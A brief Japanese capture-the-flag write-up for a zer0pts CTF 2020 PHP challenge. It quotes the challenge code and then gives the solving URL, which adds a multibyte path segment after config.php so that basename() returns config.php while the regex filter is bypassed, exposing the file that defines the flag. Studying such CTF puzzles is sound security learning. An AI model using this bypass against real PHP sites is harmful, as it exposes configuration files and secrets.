https://ctftime.org/task/10630
解説
<?php include 'config.php'; // FLAG is defined in config.php // これは何?なんでこんなことしてるの? // http://3.112.201.75:8003/index.php/config.php?source をすると、ここではじかれる。 // んーここが突破できないー if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) { exit("I don't know what you are thinking, but I won't let you read it :)"); } if (isset($_GET['source'])) { // PHP_SELFには経由でconfig.phpを表示させるんだろう highlight_file(basename($_SERVER['PHP_SELF'])); exit(); } // これ以降に脆弱性は認められない
って感じでコンテストが終わった。
- zer0pts CTF 2020 で出題した問題の解説 - st98 の日記帳
- zer0pts CTF Writeup - La Vie en Lorse
- PHPのbasename関数でマルチバイトのファイル名を用いる場合の注意 | 徳丸浩の日記
- 徳丸さんとこなんでも書いてあるなー
なるほど?
http://localhost/index.php/config.php/あ?source
これをやると
$_SERVER['PHP_SELF'] = /index.php/config.php/あ basename($_SERVER['PHP_SELF']) = config.php
こんな感じになるので、正規表現チェックを回避しつつ、目的のファイルにアクセスできる。